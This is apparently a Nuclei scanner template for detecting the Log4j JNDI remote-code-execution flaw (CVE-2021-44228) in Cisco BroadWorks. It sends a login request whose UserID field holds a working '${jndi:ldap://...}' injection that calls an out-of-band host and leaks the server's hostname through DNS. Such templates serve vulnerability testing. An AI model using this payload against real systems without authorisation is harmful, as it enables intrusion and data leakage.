66 lines
2.3 KiB
YAML
66 lines
2.3 KiB
YAML
id: cisco-broadworks-log4j-rce
|
|
|
|
info:
|
|
name: Cisco BroadWorks - Remote Code Execution (Apache Log4j)
|
|
author: shaikhyaser
|
|
severity: critical
|
|
description: |
|
|
Cisco BroadWorks is susceptible to Log4j JNDI remote code execution. Cisco BroadWorks is an enterprise-grade calling and collaboration platform delivering unmatched performance, security and scale.
|
|
reference:
|
|
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-77
|
|
metadata:
|
|
max-request: 1
|
|
fofa-query: "Cisco BroadWorks"
|
|
tags: cve,cve2021,rce,jndi,log4j,cisco,oast,kev
|
|
variables:
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
str: "{{rand_base(5)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /commpilot/servlet/Login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Referer: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
domain={{str}}.com&UserID=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&EnteredUserID=a&Password=a
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol #Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- interactsh_ip #Print remote interaction IP in output
|
|
|
|
- type: regex
|
|
group: 2
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
|
|
part: interactsh_request
|
|
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
|
part: interactsh_request
|
|
|
|
# digest: 4a0a00473045022100a04b84fca24397a728991c1192298e4023e759e331ac72b31b1f8a02379a581b02202193572239473800cd616ff41ca3817c7d3e873bb47119ed20db38482f145d35:922c64590222798bb761d5b6d8e72950
|